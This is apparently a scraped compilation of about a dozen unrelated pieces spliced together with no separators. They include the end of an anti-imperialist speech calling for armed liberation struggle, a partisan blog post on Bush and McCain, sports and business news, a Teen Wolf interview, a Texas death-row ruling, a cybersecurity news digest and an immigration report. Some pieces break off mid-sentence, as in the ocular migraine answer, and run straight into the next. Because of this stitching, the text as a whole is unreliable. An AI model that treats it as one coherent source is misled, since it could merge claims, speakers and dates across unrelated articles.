usurpation of the freedom of the process of development of the productive forces of the dominated socio-economic whole constitutes the principal and permanent characteristic of imperialist domination, whatever its form. We have also seen that this freedom alone can guarantee the normal development of the historical process of a people. We can therefore conclude that national liberation exists only when the national productive forces have been completely freed from every kind of foreign domination. It is often said that national liberation is based on the right of every people to freely control its own destiny and that the objective of this liberation is national independence. Although we do not disagree with this vague and subjective way of expressing a complex reality, we prefer to be objective, since for us the basis of national liberation, whatever the formulas adopted on the level of international law, is the inalienable right of every people to have its own history, and the objective of national liberation is to regain this right usurped by imperialism, that is to say, to free the process of development of the national productive forces. For this reason, in our opinion, any national liberation movement which does not take into consideration this basis and this objective may certainly struggle against imperialism, but will surely not be struggling for national liberation. This means that, bearing in mind the essential characteristics of the present world economy, as well as experiences already gained in the field of anti-imperialist struggle, the principal aspect of national liberation struggle is the struggle against neo-colonialism. Furthermore, if we accept that national liberation demands a profound mutation in the process of development of the productive forces, we see that this phenomenon of national liberation necessarily corresponds to a revolution. The important thing is to be conscious of the objective and subjective conditions in which this revolution can be made and to know the type or types of struggle most appropriate for its realization. We are not going to repeat here that these conditions are favorable in the present phase of the history of humanity; it is sufficient to recall that unfavorable conditions also exist, just as much on the international level as on the internal level of each nation struggling for liberation. On the international level, it seems to us that the following factors, at least, are unfavorable to national liberation movements: the neo-colonial situation of a great number of states which, having won political independence, are now tending to join up with others already in that situation; the progress made by neo-capitalism, particularly in Europe, where imperialism is adopting preferential investments, encouraging the development of a privileged proletariat and thus lowering the revolutionary level of the working classes; the open or concealed neo-colonial position of some European states which, like Portugal, still have colonies; the so-called policy of ‘aid for undeveloped countries’ adopted by imperialism with the aim of creating or reinforcing native pseudo-bourgeoisies which are necessarily dependent on the international bourgeoisie, and thus obstructing the path of revolution; the claustrophobia and revolutionary timidity which have led some recently independent states whose internal economic and political conditions are favorable to revolution to accept compromises with the enemy or its agents; the growing contradictions between anti-imperialist states; and, finally, the threat to world peace posed by the prospect of atomic war on the part of imperialism. All these factors reinforce the action of imperialism against the national liberation movements. If the repeated interventions and growing aggressiveness of imperialism against the peoples can be interpreted as a sign of desperation faced with the size of the national liberation movements, they can also be explained to a certain extent by the weaknesses produced by these unfavorable factors within the general front of the anti-imperialist struggle. On the internal level, we believe that the most important weaknesses or unfavorable factors are inherent in the socio-economic structure and in the tendencies of its evolution under imperialist pressure, or to be more precise in the little or no attention paid to the characteristics of this structure and these tendencies by the national liberation movements in deciding on the strategy of their struggles. By saying this we do not wish to diminish the importance of other internal factors which are unfavorable to national liberation, such as economic under-development, the consequent social and cultural backwardness of the popular masses, tribalism and other contradictions of lesser importance. It should however be pointed out that the existence of tribes only manifests itself as an important contradiction as a function of opportunistic attitudes, generally on the part of detribalised individuals or groups, within the national liberation movements. Contradictions between classes, even when only embryonic, are of far greater importance than contradictions between tribes. Although the colonial and neo-colonial situations are identical in essence, and the main aspect of the struggle against imperialism is neo-colonialist, we feel it is vital to distinguish in practice these two situations. In fact the horizontal structure, however it may differ from the native society, and the absence of a political power composed of national elements in the colonial situation make possible the creation of a wide front of unity and struggle, which is vital to the success of the national liberation movement. But this possibility does not remove the need for a rigorous analysis of the native social structure, of the tendencies of its evolution, and for the adoption in practice of appropriate measures for ensuring true national liberation. While recognizing that each movement knows best what to do in its own case, one of these measures seems to us indispensable, namely, the creation of a firmly united vanguard, conscious of the true meaning and objective of the national liberation struggle which it must lead. This necessity is all the more urgent since we know that with rare exceptions the colonial situation neither permits nor needs the existence of significant vanguard classes (working class conscious of its existence and rural proletariat) which could ensure the vigilance of the popular masses over the evolution of the liberation movement. On the contrary, the generally embryonic character of the working classes and the economic, social and cultural situation of the physical force of most importance in the national liberation struggle-the peasantry-do not allow these two main forces to distinguish true national independence from fictitious political independence. Only a revolutionary vanguard, generally an active minority, can be aware of this distinction from the start and make it known, through the struggle, to the popular masses. This explains the fundamentally political nature of the national liberation struggle and to a certain extent makes the form of struggle important in the final result of the phenomenon of national liberation. In the neo-colonial situation the more or less vertical structure of the native society and the existence of a political power composed of native elements-national state-already worsen the contradictions within that society and make difficult if not impossible the creation of as wide a front as in the colonial situation. On the one hand the material effects (mainly the nationalization of cadres and the increased economic initiative of the native elements, particularly in the commercial field) and the psychological effects (pride in the belief of being ruled by one’s own compatriots, exploitation of religious or tribal solidarity between some leaders and a fraction of the masses) together demobilize a considerable part of the nationalist forces. But on the other hand the necessarily repressive nature of the neo-colonial state against the national liberation forces, the sharpening of contradictions between classes, the objective permanence of signs and agents of foreign domination (settlers who retain their privileges, armed forces, racial discrimination), the growing poverty of the peasantry and the more or less notorious influence of external factors all contribute towards keeping the flame of nationalism alive, towards progressively raising the consciousness of wide popular sectors and towards reuniting the majority of the population, on the very basis of awareness of neo-colonialist frustration, around the ideal of national liberation. In addition, while the native ruling class becomes progressively more bourgeois, the development of a working class composed of urban workers and agricultural proletarians, all exploited by the indirect domination of imperialism, opens up new perspectives for the evolution of national liberation. This working class, whatever the level of its political consciousness (given a certain minimum, namely the awareness of its own needs), seems to constitute the true popular vanguard of the national liberation struggle in the neo-colonial case. However it will not be able to completely fulfill its mission in this struggle (which does not end with the gaining of independence) unless it firmly unites with the other exploited strata, the peasants in general (hired men, sharecroppers, tenants and small farmers) and the nationalist petty bourgeoisie. The creation of this alliance demands the mobilization and organization of the nationalist forces within the framework (or by the action) of a strong and well-structured political organization. Another important distinction between the colonial and neo-colonial situations is in the prospects for the struggle. The colonial situation (in which the nation class fights the repressive forces of the bourgeoisie of the colonizing country) can lead, apparently at least, to a nationalist solution (national revolution); the nation gains its independence and theoretically adopts the economic structure which best suits it. The neo-colonial situation (in which the working classes and their allies struggle simultaneously against the imperialist bourgeoisie and the native ruling class) is not resolved by a nationalist solution; it demands the destruction of the capitalist structure implanted in the national territory by imperialism, and correctly postulates a socialist solution. This distinction arises mainly from the different levels of the productive forces in the two cases and the consequent sharpening of the class struggle. It would not be difficult to show that in time the distinction becomes scarcely apparent. It is sufficient to recall that in our present historical situation — elimination of imperialism which uses every means to perpetuate its domination over our peoples, and consolidation of socialism throughout a large part of the world — there are only two possible paths for an independent nation: to return to imperialist domination (neo-colonialism, capitalism, state capitalism), or to take the way of socialism. This operation, on which depends the compensation for the efforts and sacrifices of the popular masses during the struggle, is considerably influenced by the form of struggle and the degree of revolutionary consciousness of those who lead it. The facts make it unnecessary for us to prove that the essential instrument of imperialist domination is violence. If we accept the principle that the liberation struggle is a revolution and that it does not finish at the moment when the national flag is raised and the national anthem played, we will see that there is not, and cannot be national liberation without the use of liberating violence by the nationalist forces, to answer the criminal violence of the agents of imperialism. Nobody can doubt that, whatever its local characteristics, imperialist domination implies a state of permanent violence against the nationalist forces. There is no people on earth which, having been subjected to the imperialist yoke (colonialist or neo-colonialist), has managed to gain its independence (nominal or effective) without victims. The important thing is to determine which forms of violence have to be used by the national liberation forces in order not only to answer the violence of imperialism, but also to ensure through the struggle the final victory of their cause, true national independence. The past and present experiences of various peoples, the present situation of national liberation struggles in the world (especially in Vietnam, the Congo and Zimbabwe) as well as the situation of permanent violence, or at least of contradictions and upheavals, in certain countries which have gained their independence by the so-called peaceful way, show us not only that compromises with imperialism do not work, but also that the normal way of national liberation, imposed on peoples by imperialist repression, is armed struggle. We do not think we will shock this assembly by stating that the only effective way of definitively fulfilling the aspirations of the peoples, that is to say of attaining national liberation, is by armed struggle. This is the great lesson which the contemporary history of liberation struggle teaches all those who are truly committed to the effort of liberating their peoples. It is obvious that both the effectiveness of this way and the stability of the situation to which it leads after liberation depend not only on the characteristics of the organization of the struggle but also on the political and moral awareness of those who, for historical reasons, are capable of being the immediate heirs of the colonial or neo-colonial state. For events have shown that the only social sector capable of being aware of the reality of imperialist domination and of directing the state apparatus inherited from this domination is the native petty bourgeoisie. If we bear in mind the aleatory characteristics and the complexity of the tendencies naturally inherent in the economic situation of this social stratum or class, we will see that this specific inevitability in our situation constitutes one of the weaknesses of the national liberation movement. The colonial situation, which does not permit the development of a native pseudo-bourgeoisie and in which the popular masses do not generally reach the necessary level of political consciousness before the advent of the phenomenon of national liberation, offers the petty bourgeoisie the historical opportunity of leading the struggle against foreign domination, since by nature of its objective and subjective position (higher standard of living than that of the masses, more frequent contact with the agents of colonialism, and hence more chances of being humiliated, higher level of education and political awareness, etc.) it is the stratum which most rapidly becomes aware of the need to free itself from foreign domination. This historical responsibility is assumed by the sector of the petty bourgeoisie which, in the colonial context, can be called revolutionary, while other sectors retain the doubts characteristic of these classes or ally themselves to colonialism so as to defend, albeit illusorily, their social situation. The neo-colonial situation, which demands the elimination of the native pseudo-bourgeoisie so that national liberation can be attained, also offers the petty bourgeoisie the chance of playing a role of major and even decisive importance in the struggle for the elimination of foreign domination. But in this case, by virtue of the progress made in the social structure, the function of leading the struggle is shared (to a greater or lesser extent) with the more educated sectors of the working classes and even with some elements of the national pseudo-bourgeoisie who are inspired by patriotic sentiments. The role of the sector of the petty bourgeoisie which participates in leading the struggle is all the more important since it is a fact that in the neo-colonial situation it is the most suitable sector to assume these functions, both because of the economic and cultural limitations of the working masses, and because of the complexes and limitations of an ideological nature which characterize the sector of the national pseudo-bourgeoisie which supports the struggle. In this case it is important to note that the role with which it is entrusted demands from this sector of the petty bourgeoisie a greater revolutionary consciousness, and the capacity for faithfully interpreting the aspirations of the masses in each phase of the struggle and for identifying themselves more and more with the masses. But however high the degree of revolutionary consciousness of the sector of the petty bourgeoisie called on to fulfill this historical function, it cannot free itself from one objective of reality: the petty bourgeoisie, as a service class (that is to say that a class not directly involved in the process of production) does not possess the economic base to guarantee the taking over of power. In fact history has shown that whatever the role — sometimes important — played by individuals coming from the petty bourgeoisie in the process of a revolution, this class has never possessed political control. And it never could possess it, since political control (the state) is based on the economic capacity of the ruling class, and in the conditions of colonial and neo-colonial society this capacity is retained by two entities: imperialist capital and the native working classes. To retain the power which national liberation puts in its hands, the petty bourgeoisie has only one path: to give free rein to its natural tendencies to become more bourgeois, to permit the development of a bureaucratic and intermediary bourgeoisie in the commercial cycle, in order to transform itself into a national pseudo-bourgeoisie, that is to say in order to negate the revolution and necessarily ally. In order not to betray these objectives the petty bourgeoisie has only one choice: to strengthen its revolutionary consciousness, to reject the temptations of becoming more bourgeois and the natural concerns of its class mentality, to identify itself with the working classes and not to oppose the normal development of the process of revolution. This means that in order to truly fulfill the role in the national liberation struggle, the revolutionary petty bourgeoisie must be capable of committing suicide as a class in order to be reborn as revolutionary workers, completely identified with the deepest aspirations of the people to which they belong. This alternative — to betray the revolution or to commit suicide as a class — constitutes the dilemma of the petty bourgeoisie in the general framework of the national liberation struggle. The positive solution in favor of the revolution depends on what Fidel Castro recently correctly called the development of revolutionary consciousness. This dependence necessarily calls our attention to the capacity of the leader of the national liberation struggle to remain faithful to the principles and to the fundamental cause of this struggle. This shows us, to a certain extent, that if national liberation is essentially a political problem, the conditions for its development give it certain characteristics which belong to the sphere of morals. We will not shout hurrahs or proclaim here our solidarity with this or that people in struggle. Our presence is in itself a cry of condemnation of imperialism and a proof of solidarity with all peoples who want to banish from their country the imperialist yoke, and in particular with the heroic people of Vietnam. But we firmly believe that the best proof we can give of our anti-imperialist position and of our active solidarity with our comrades in this common struggle is to return to our countries, to further develop this struggle and to remain faithful to the principles and objectives of national liberation. Our wish is that every national liberation movement represented here may be able to repeat in its own country, arms in hand, in unison with its people, the already legendary cry of Cuba: Patria O Muerte, Venceremos! Death to the Forces of Imperialism! Free, Prosperous and Happy Country for Each of our Peoples! Venceremos!0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard In a sign of just how poisonous President Bush has become to his fellow Republican’s election hopes, the sitting President will speak on the opening night of the Republican convention, and there will not be a joint media appearance with John McCain. While it is not uncommon for a sitting president to speak on the first night of the convention, and then get out the way, a lack of a joint appearance is reflective of the tightrope the McCain campaign has to walk when it comes to Bush. The problem for McCain is that he needs Bush to ease the minds of some hardcore Republicans who are skeptical about him, and he also needs Bush’s fundraising abilities. However, actually being seen with the president in public would reinforce the Democratic theme that McCain represents a third Bush term. According to the New York Times, Republicans are divided on the issue. Some see Bush’s popularity as essential for McCain with the Republican base, while others just wish he would stay home. In reality, this whole choreographed dance is a ruse designed to fool voters into believing that McCain is his own man, a maverick. One only has to look at the big issues of this campaign the economy, the war, and healthcare to see his total agreement with George W. Bush. What this news does emphasize is McCain’s deeply flawed status as a major party nominee. A few years ago John McCain made the strategic error of selling out his own base in favor of becoming the heir apparent to Bush. This seemed like a good idea in the post-9/11 political world, but when Bush’s popularity ratings tanked, so did McCain’s appeal with most of the country. Now McCain is man without a base, who won his Party’s nomination by default. He is saddled with a historically unpopular president, and a party rank and file that doesn’t trust his move towards Bush on the issues. This is why it will take an epic collapse by Barack Obama for John McCain to win the White House in November. McCain is the leader of a weakened party that doesn’t trust his leadership. Not since the days of Mike Dukakis has a political party been led by such a weak nominee.Wallabies legend George Smith heads a trio of Aussies who are set to play with Japanese Top League side Suntory this season. Smith's future has been known for some time, but confirmed on Monday with the announcement of the Sungoliaths' 2016/17 squad. The 111-Test veteran is far from the only Australian in the squad, with Christian Lealiifano and Brumbies winger Nigel Ah Wong on the list. The Brumbies are yet to officially confirm the inclusion of Lealiifano and Ah Wong to Suntory's list. Lealiifano had indicated an interest in a flexible contract when re-signing with the Brumbies and the ARU earlier this year, following in the footsteps of a handful of Wallabies who spend their summers in Japan. Ah Wong's situation is more intriguing, with the winger's future not officially confirmed beyond 2016 in Canberra, though that's not to say he will be leaving the Brumbies. The former Queensland Red has been in strong form for the ACT side, after stepping up to a starting wing spot in the absence of Henry Speight and Joe Tomane. Highlanders lock Joe Wheeler will also be donning the Sungoliaths jersey in the 2016-17 season, Suntory's announcements come off the back of Bernard Foley's recent decision to flick the second year of his deal with the Ricoh Black Rams.The Bay Area will always know Aaron Rodgers as the Cal quarterback passed over by the 49ers for Alex Smith. Rarely discussed about that draft day of 2005: The NFL team 11 miles down the road from Berkeley whiffed just as badly on its own Rodgers opportunity. The Raiders had scouted Rodgers extensively but never brought him in to visit their Alameda facility. He had been to the Coliseum once, as a high school quarterback, to watch a game against the Chargers. After the 49ers took Smith of Utah at No. 1, then came Rodgers’ interminable green room wait America got to watch on ESPN. When the Raiders traded with Seattle to move from No. 26 to No. 23, Rodgers had a thought. “For a second, I was looking at my phone and wondering if it was going to ring at the 23rd pick,” he said last week by conference call. “But it never did.” Instead, the Raiders selected speedy Nebraska cornerback Fabian Washington, the Green Bay Packers took Rodgers at No. 24, and the course of NFL quarterbacking history was changed forever. The Packers couldn’t be certain of it yet, but they’d found the rare quarterback capable of replacing a legend. Rodgers, in his 11th season, has done for Green Bay what Steve Young did for the 49ers after trading Joe Montana. The Chico native leads the Packers (9-4) against the Raiders on Sunday at O.co Coliseum in a career likely headed for the Pro Football Hall of Fame. Washington played six inglorious seasons — three for the Raiders and three for the Baltimore Ravens — and was out of football. What followed that Raiders draft: A revolving door at quarterback that featured 15 different starters in nine years. Davis not interested Rodgers remembers Raiders owner Al Davis being at the starting line of the 40-yard dash at the combine. “That’s about the only time I saw him,” he said. As it turned out, unless Rodgers shaved about five-tenths of a second off his time or figured out a way to grow from 6-foot-2 to 6-5, he wasn’t going to merit first-round consideration by Davis. At a news conference in 2011 following the hiring of Hue Jackson, Davis said of Rodgers at the post-conference gathering at his table, “Sure, I regret not drafting him … he’s a good player.” The media opportunity ended shortly afterward, with Davis never elaborating on the subject before his death less than a year later. But Davis, according to former Raiders CEO and CBS analyst Amy Trask, had his regrets. “I enjoyed several very interesting conversations with Al about our missed opportunity,” Trask said. “As was most often the case, Al peppered his observations with expletives, and he very honestly agreed that we missed.” Davis had plenty of company. In all, 21 teams whiffed on the chance to draft Rodgers, with the 49ers taking the first swing and the Raiders the last. Minnesota (Nos. 7 and 18) and Dallas (Nos. 11 and 20) each had two chances to take Rodgers before he went off the board. “I find it most intriguing and revealing that the two teams in closest proximity to the stadium in which Aaron played his home games were among those teams,” Trask said. “That underscores something I’ve longed believed: The draft is not a science.” Bruce Kebric, an NFL scout for more than 40 years, 31 of those with Davis and the Raiders, agreed. “We can measure everything except heart, and that’s why a fourth-round pick turns out to be a star and a first-round pick doesn’t,” Kebric said. Didn’t measure up Davis was long known to favor “measurables,” seeking the biggest, strongest and fastest players. If athletes weren’t overly productive in college, Davis counted on his coaching staff to make sure they produced as professionals. Rodgers, for consideration as a first-round pick, didn’t measure up in the most basic way possible. At 6-2, he wasn’t tall enough. The Davis model according to Kebric, was Daryle Lamonica, a 6-4 deep thrower in the late 1960s and early 1970s who was a classic drop-back passer nicknamed the “Mad Bomber.” Kebric, swept out as part of a personnel department restructure by general manager Reggie McKenzie in 2013, said the scouting department ranked Rodgers as the No. 10 player overall and the top player available when the Raiders’ turn came up. Washington was ranked No. 16. While the Raiders under Davis have been characterized as a dictatorship, Kebric described the draft process as “egalitarian,” with the owner giving all dissenting voices their chance to speak. Sometimes, Davis agreed or relented. Sometimes, he didn’t. “He liked Aaron,” Kebric said. “But he kept talking about the height.” What Davis loved was speed, and Washington, one of the top corners in the Big 12, clocked a combine best 4.29 in the 40-yard dash. Kebric said the consensus in the draft room among the scouting department was to take Rodgers, whom the Raiders had rated as the only quarterback worthy of the first round — including Smith. At the time, the Raiders quarterbacks were Kerry Collins and Marques Tuiasosopo. Instead, Davis authorized the deal to move up from No. 26 to No. 23, took Washington, and the Packers selected Rodgers at No. 24. Whatever discomfort came from passing on Rodgers came from the availability of Andrew Walter, a 6-6 quarterback from Arizona State who could throw it deep and had earned a second-round grade from the Raiders. Walter, in fact, was the Raiders’ third-rated quarterback behind Rodgers and Smith, and before Charlie Frye, Kyle Orton and Jason Campbell. He was selected by the Raiders after Washington and Stanford Routt — the second fastest cornerback in the draft — in the third round. ‘We will never know’ Coming in to a vertical offense with coach Norv Turner, then to a disastrous single season with Art Shell and offensive coordinator Tom Walsh, and then to a short-passing offense installed by Lane Kiffin, Walter never developed. Whether Rodgers could have transformed the Raiders will remain a barroom debate. “We will never know that,” Trask said. “Certainly Green Bay did everything right in terms of best positioning Aaron for success.” Former Raiders quarterback Rich Gannon was more direct. “Had he gone to Oakland, he never would have had the success he’s had. No way,” Gannon said. “As much as I like Aaron, you look at Alex Smith in San Francisco, how did that work out? Six coordinators, different coaches. The same thing would have happened to Aaron in Oakland.” In the end, Gannon believes the phone staying silent at No. 23 was the best thing that could have happened to Rodgers. “He got to watch and learn behind Brett Favre,” Gannon said. “He got the chance to be trained by Mike McCarthy, one of the best trainers of quarterbacks in the game. That wouldn’t have happened in Oakland.” Raiders safety Charles Woodson, who earned a Super Bowl ring with the Packers after the 2010 season and counts Rodgers as a close friend, laughed when he was asked about the Raiders selecting Washington in 2005. “I told people about that not long ago,” Woodson said. Then he motioned with his thumb upward toward either the front office or the heavens. “You’ll have to tell them about that, not me,” Woodson said. Davis, Kebric believes, would understand. “This is what Al used to say about the draft,” Kebric said. “You work your tail off, and you hope you get lucky.” For more on the Raiders, visit the Inside the Oakland Raiders blog at ibabuzz.com/oaklandraiders. Follow Jerry McDonald on Twitter at twitter.com/Jerrymcd.A landmark Christian holy site in Jerusalem was vandalised with Hebrew graffiti in what appears to be the latest attack by "extremist" Jews. Police spokeswoman Luba Samri said anti-Christian slogans were found on Sunday on the outer walls of the Dormition Abbey, a Benedictine monastery just outside Jerusalem's Old City where Christian tradition says the Virgin Mary died. The graffiti included threats of violence, messages degrading Jesus, and a call for Christians to "go to hell". Police were investigating but suspicion immediately fell on Jewish "extremists" who have for years vandalised Palestinian property, as well as mosques, churches, the offices of dovish Israeli groups - and even Israeli military bases. The so-called "price tag" attacks seek to exact a cost for Israeli steps seen as favouring the Palestinians. That attacks have prompted widespread condemnation and pledges by Israel's government to get tougher on Jewish vigilantes. Israel's Minister of Public Security Gilad Erdan said he has instructed police to give the vandalism case top priority. "We will not allow anyone to undermine the coexistence between religions in Israel. We will show zero tolerance to whoever harms the democratic foundations of Israel and its freedom of religion, and we will apprehend those who carried out this heinous act," he said. Prime Minister Benjamin Netanyahu also condemned the vandalism. The Benedictine abbey is a popular site for pilgrims and tourists. It has been damaged several times in recent years.Charles Flores, a Texas death row inmate who was scheduled to be executed next week June 2, was granted a stay of execution late Friday afternoon. The Texas Court of Criminal Appeals stayed Flores' execution date and sent his case back to the trial court for a hearing based on his claim that improper hypnosis was used on the main eyewitness in his murder trial. As Fusion reported earlier this month, Flores was convicted for the 1998 murder of Elizabeth “Betty” Black in a Dallas suburb. A jury sentenced him to death the following year even though prosecutors presented no physical evidence linking him to the crime, and the only witness who saw him at the scene, Jill Barganier, was hypnotized by police. As part of Flores' final appeal, which was filed last week, psychology professor Steven Lynn said in an affidavit that recent research shows the hypnosis could have made Barganier create false memories. “Clearly, the techniques that were used to refresh Ms. Bargainer’s memory would be eschewed today by anyone at all familiar with the extant research on hypnosis and memory,” Lynn wrote. That hypnosis was the crux of the appeals court's ruling. The court approved his application for a writ of habeas corpus by essentially finding reason to believe a reasonable juror may not have convicted him if they had heard evidence like Lynn's testimony. Advertisement Now, the trial court in Flores' case will hold a hearing specifically on the hypnosis issue and the eyewitness identification. If Flores' lawyers can show by a preponderance of the evidence that a jury would acquit him today after hearing new scientific evidence, it would lead to a brand new trial for Flores, more than 17 years after he was convicted. "We're ecstatic for Charles right now," said Gregory Gardner, one of Flores' attorneys. "This hypnosis was always very troubling from the beginning… and we're thrilled that now the Texas courts are going to take a closer look at it." The warden at the Polunksy Unit, the Texas death row prison where Flores is housed, is expected to notify him of the ruling later tonight. Advertisement While the appeals court focused on the hypnosis issue in its ruling, Flores also brought up other issues in his appeal—including the fact that his white co-defendant received a much shorter sentence than he did and is currently out of prison on parole. Two of the nine judges on the appeals court, which is the highest court in Texas that hears criminal cases, dissented from granting a stay. Only one of the judges who supported Flores' application, David Newell, wrote an opinion explaining his thinking. "Eyewitness misidentification is the leading cause of wrongful convictions across the country," Newell wrote. "We may ultimately grant relief. We may ultimately deny relief. But either way, given the subject matter, by granting a stay this Court acknowledges that whatever we do, we owe a clear explanation for our decision to the citizens of Texas." Advertisement Here's the full ruling from the court: https://www.scribd.com/doc/314043418/Charles-Flores-Stay-of-Execution Casey Tolan is a National News Reporter for Fusion based in New York City.Our general interest e-newsletter keeps you up to date on a wide variety of health topics. What is an ocular migraine? Is it a sign of something serious? Answer From Jerry W. Swanson, M.D. The term "ocular migraine"
RECENTLY ON PRO CYBERSECURITY — “The Senate on Thursday approved tweaks to its bipartisan package of sanctions on Russia and Iran, ending a delay of the bill.” … Trump will meet with Russian President Vladimir Putin on the sidelines of the G-20 summit next week in Germany, but White House officials would not say whether hacking will be discussed. … A bipartisan bill introduced in both chambers on Thursday would direct the government to develop voluntary cyber hygiene standards. The bipartisan leaders of the House Russia probe threatened to subpoena the White House to obtain any recordings of interactions between Trump and former FBI Director James Comey. … House Oversight and Judiciary Democrats want the DOJ’s inspector general to investigate whether Attorney General Jeff Sessions violated his recusal when he recommended the firing of Comey. … The European Union’s encryption report will come out by October. … The Trump administration is ramping up its cybersecurity discussions with smart device makers, but the work is proceeding slowly, officials said Thursday. TWEET OF THE DAY — Groan. QUICK BYTES — DHS awarded $200,000 to security firm Veramine to harden the digital defenses of financial institutions. DHS. — WikiLeaks is out with another dump from its apparent cache of CIA hacking tools. WikiLeaks. — Cybersecurity firm Zscaler is preparing for an initial public offering. Reuters. — “Amid global threats — and infighting at the Capitol — Minnesota’s cybersecurity operation struggles to keep up.” MinnPost. — “Microsoft announces ‘Controlled Folder Access’ to fend off crypto-ransomware.” BleepingComputer. — The Electronic Frontier Foundation takes on the Five Eyes intelligence coalition: “What a Global Anti-Encryption Regime Could Look Like.” EFF. That’s all for today. Stay in touch with the whole team: Cory Bennett (cbennett@politico.com, @Cory_Bennett); Bryan Bender (bbender@politico.com, @BryanDBender); Eric Geller (egeller@politico.com, @ericgeller); Martin Matishak (mmatishak@politico.com, @martinmatishak) and Tim Starks (tstarks@politico.com, @timstarks).A Bright Spot For Nokia As Lumia And Other Q4 Mobile Sales “Exceeded Expectations”, With 4.4M Lumias Sold, But Q1 May Bring More Woe Some good news for Nokia today: the company announced that it is exceeding guidance for Q4 sales after a strong quarter of sales for its Windows Phone Lumia line and its Asha low-cost smartphones, with sales of Lumias nearly doubling over last quarter to 4.4 million devices. It also noted that its operating expenses are also lower and that the two combined are helping improve the company’s operating margins. These are now expected to be between break even and positive 2%. This is significant in that it is a big change from previous quarters, where Nokia has had to warn the market that it wouldn’t be meeting original forecasts. As a point of comparison, Nokia had originally estimated that its operating margin for the quarter would be negative 6 percent, plus or minus four percentage points. The company also notes that the Nokia Siemens Networks did better than expected in Q4 and continues to be profitable. The company did not give revenue figures for the division but noted that the reasons for the improvement was the “strong” performance of higher margin product categories — 4G network equipment is one example of those — along with better-than-expected cost management. Operating margin is anticipated at between 13% and 15%. “We are pleased that Q4 2012 was a solid quarter where we exceeded expectations and delivered underlying profitability in Devices & Services and record underlying profitability in Nokia Siemens Networks,” said CEO Stephen Elop in a statement. “We focused on our priorities and as a result we sold a total of 14 million Asha smartphones and Lumia smartphones while managing our costs efficiently, and Nokia Siemens Networks delivered yet another very good quarter.” But operating margin will not hold to the next quarter. It expects Q1 operating margin to be negative 2%, plus or minus four percentage points. This is because of “competitive industry dynamics” that have negative impact on smart devices and mobile phones — that is, competition from Samsung and other Android handset makers, as well as Apple and the iPhone. It also notes that Q1 will be seasonally weak. And although Lumia smartphones continue to “ramp up” this may not offset larger consumer demand or the wider economic environment. Nokia also said that Location & Commerce non-IFRS operating margin in the first quarter 2013 would be negative “due to lower recognized revenue from internal sales, which carry higher gross margin, and to a lesser extent by a negative mix shift within external sales.” Going back to Q4, Nokia says that it currently estimates that Q4 net sales in its devices and services division were €3.9 billion ($5.1 billion), with total device volumes of 86.3 million units. Mobile phones accounted for €2.5 billion ($3.3 billion) of that, at 79.6 million units, 9.3 million of which were part of its lower-cost Asha line aimed at emerging markets and newer users. Smartphones are also picking up: these they had net sales of €1.2 billion ($1.6 billion) with 6.6 million units sold, 4.4 million of which were Lumia devices. As a point of contrast this is nearly double what Nokia sold in Q3, where it reported 2.9 million Lumia devices sold. Because Nokia is now selling smartphones both in its traditionally feature phone “mobile phone” segment as well as in the “smart devices” segment, it’s also breaking out total smartphones. These are now 15.9 million in total. Other devices and services generated net sales of 200 million euros. The full results for Q4 will be out on January 24. Release below.Between Derek’s big change, Parrish’s new mission and Kate’s dramatic exit, there’s a lot still to be discussed from Monday’s Teen Wolf season finale. RELATED Teen Wolf‘s Ryan Kelley on Parrish’s Mystery, Future With Lydia in Season 5 Below, executive producer Russell Mulcahy — who also directed the super-sized installment — talks about the episode’s biggest twists, and how they might affect the drama’s fifth season. TVLINE \| Let’s start with the ending. Argent leaving with the Calaveras felt oddly final. Could this be the end of the Argents’ saga? I wouldn’t say that. Right from the beginning, our mantra was “sexy, scary and surprising,” and I think all doors remain open [for anyone to return]. All things are possible in Teen Wolf. TVLINE \| One of those “surprises” was Derek’s evolution. Since that’s a new concept for the show, can you kind of explain what happened? I think it’s what you want it to be. In the mythology, there are various interpretations, but he’s evolved to a different level. It’s a rite of passage, a natural evolvement in the mystery of the werewolf syndrome. It all comes from the mind of [creator] Jeff Davis; he’s brilliant, and he keeps me on my toes. There were bets going around about who the Benefactor was, and most of us got it wrong. TVLINE \| I’m also glad you didn’t kill off Braeden. Will her hunt for the Desert Wolf remain her top priority moving forward? It could be. Next season is going to be a real eye-opener. We haven’t done too much planning, but from the hints I’ve heard of what’s to come, it’s going to be a really cool, interesting season. TVLINE \| The other mystery is what Parrish is. Do you know what he is? [Laughs] I don’t. I think they’re still going through the bestiary, trying to figure it out. He obviously seems to be impervious to fire, and he has a good amount of strength. I don’t think he‘s even aware of what he is yet. TVLINE \| And he’ll have Lydia helping him. Do you see their relationship ever turning romantic, as a lot of the fans are hoping? The chemistry seems to be really nice there. Whether that turns into a romantic thing, or just becomes a close friendship, I don’t know. But there’s definitely a bond that you saw in one of the final scenes of them together. It’s a very strong bond forming between them. TVLINE \| Lydia also spent much of the finale with Mason, and after what he saw, there’s no way he can pretend like he doesn’t know about the supernatural world. Will he be more in-the-know moving forward? Oh, absolutely. It’s a bit like Stiles’ dad. Throughout the seasons, he went from being a regular sheriff in Beacon Hills to finally knowing about werewolves, lizard men, witches and whatever else. So his eyes have definitely been opened. TVLINE \| Stiles had a funny moment at the end of the finale, where he got handcuffed to the desk; it made me miss the old, funnier Stiles. Might he return to his lighter side? I don’t think it ever really disappeared, but I know he went to a really dark place in Season 3B. When he was possessed, we really saw his dark side. But that lighter side — and, specifically, the lighter side of Stiles and his dad — will continue. TVLINE \| Scott and Kira’s relationship is also a fan-favorite. Will you continue throwing new obstacles at them in Season 5, or might they actually get some alone time? They care for each other and love each other very much, but you know, it’s still the early days [of their relationship], so there will always be new conflicts. Teen Wolf fans, your thoughts on the finale? Hopes for Season 5? Drop ’em all in the comments section below.The legal and illegal population of foreign-born immigrants living in America will break a 100-year-old record in just six years — and will continue to smash records for the rest of the century, according to a new analysis of U.S. Census Bureau data. Already 13.5 percent of the U.S. population, immigrants will surge to 15 percent in 2023, according to Steven Camarota, the director of research for the Center for Immigration Studies. At a conference to discuss the impact of immigration on public schools, he said "the share will hit 15 percent in just six years and that will surpass the all time high in the United States reached in 1890." And if unchecked, he added, "the share is projected to increase throughout much of this century." The surge comes as President Trump is planning to cut the number of illegal immigrants in the country and crossing the border, but so far hasn't indicated if he will brake the larger number of legal immigrants entering the U.S. It also takes place with a nation divided over what it expects of immigrants, with liberals eager for them to embrace their own heritage and others hopeful for immigrants assimilate into America. The CIS panel discussion focused on assimilation and a report from Camarota showing how huge concentrations of immigrant students have overtaken the population of native born American school children in many urban and suburban areas. "In a very real sense, America is headed into unchartered territory on immigration, the share who are immigrants who are foreign born will be at a level we have never seen," he said. 